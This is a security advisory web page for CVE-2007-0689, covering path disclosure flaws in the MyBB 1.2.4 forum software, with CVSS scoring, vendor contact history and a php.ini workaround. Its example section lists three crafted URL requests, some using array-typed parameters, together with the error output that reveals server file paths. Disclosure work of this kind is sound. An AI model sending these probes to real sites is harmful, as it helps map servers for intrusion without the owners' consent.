CVE Logo

 

 

 

Best Security Research

 »  netVigilance is an active contributor to nvd.nist.gov
 
 » Every vulnerability in our database is independently scored according to CVSS 2.0
 
 » Our Scoring is compared to nvd.nist.gov and inconsistencies are reported to the NVD team at NIST
 
 »

netVigilance is responsible for more than 400 changes to the National Vulnerability Database - more than anyone else.
 

 » Our Professional Services team will validate any vulnerability Scoring for you.
 
netVigilance Security Advisory
 
 
 
MyBB version 1.2.4 Multiple Path
 
Disclosure Vulnerabilities
*

Fact: More than 15 vulnerabilities were discovered EVERY day of 2009

Description:

MyBB is a powerful, efficient and free forum package developed in PHP and MySQL. Full control over your discussion system is presented right at the tip of your fingers, from multiple styles and themes to the ultimate customisation of your forums using the template system.

External References:
Mitre CVE: CVE-2007-0689
NVD NIST: CVE-2007-0689
OSVDB: 34155


Summary:
MyBB is a powerful, efficient and free forum package developed in PHP and MySQL.
Multiple pass disclosure vulnerabilities in the product allow attackers to gather the true path of the server-side script.

Release Date:
May 13 2007

Severity:
Risk: Low

CVSS Metrics:
Access Vector: Remote
Access Complexity: Low
Authentication: not-required
Confidentiality Impact: Partial
Integrity Impact: None
Availability Impact: None
Impact Bias: Normal
CVSS Base Score: 2.33

Target Distribution on Internet: Medium

Exploitability: Functional Exploit
Remediation Level: Workaround
Report Confidence: Confirmed

Vulnerability Impact: Attack
Host Impact: Path disclosure.

SecureScout Testcase ID:
TC 17950

Vulnerable Systems:
MyBB version 1.2.4

Vulnerability Type:
Program flaw - The captcha.php, member.php and event.php scripts has flaws which lead to a Warning or even Fatal Errors.

Vendor:
MyBB

Vendor Status:
Contact with the Vendor was established and draft of the security advisory was provided on 11 April 2007, the vendor promised to fix the issue but stopped responding to our emails on 11 April 2007. There is no official fix at the release of this Security Advisory

Workaround:
Disable warning messages: modify in the php.ini file following line: display_errors = Off. Or modify .htaccess file (this will work only for the apache servers).

Example:

Path Disclosure Vulnerability 1:

REQUEST:
http://[TARGET]/[mybb-directory]/member.php?action[]=register

REPLY:
<br /> <b>Warning</b>: Illegal offset type in unset in <b>[SERVER_PATH_TO_FILE][mybb-directory]\global.php</b> on line <b>41</b><br /> <br /> <b>Warning</b>: Cannot modify header information - headers already sent by (output started at [SERVER_PATH_TO_FILE][mybb-directory]\global.php:41) in <b>[SERVER_PATH_TO_FILE][mybb-directory]\incunctions.php</b> on line <b>1121</b><br />

Path Disclosure Vulnerability 2:

REQUEST:
http://[TARGET]/[mybb-directory]/captcha.php?imagehash[]=123

REPLY:
<br /> <b>Warning</b>: mysql_real_escape_string() expects parameter 1 to be string, array given in <b>[SERVER_PATH_TO_FILE][mybb-directory]\inc\db_mysql.php</b> on line <b>632</b><br /> <br /> <b>Warning</b>: Division by zero in <b>[SERVER_PATH_TO_FILE][mybb-directory]\captcha.php</b> on line <b>210</b><br /> <br /> <b>Warning</b>: Cannot modify header information - headers already sent by (output started at [SERVER_PATH_TO_FILE][mybb-directory]\inc\db_mysql.php:632) in <b>[SERVER_PATH_TO_FILE][mybb-directory]\captcha.php</b> on line <b>114</b><br />

Path Disclosure Vulnerability 3:

REQUEST:
http://[TARGET]/[mybb-directory]/inc/datahandlers/event.php

REPLY:
<br /> <b>Fatal error</b>: Class 'DataHandler' not found in <b>[SERVER_PATH_TO_FILE][mybb-directory]\inc\datahandlers\event.php</b> on line <b>16</b><br />



Credits:
Jesper Jurcenoks
Co-founder netVigilance, Inc
www.netvigilance.com



back to Security Advisories   

Copyright©2004-2011,  netVigilance, Inc.   All rights reserved  • Privacy Policy

netVigilance©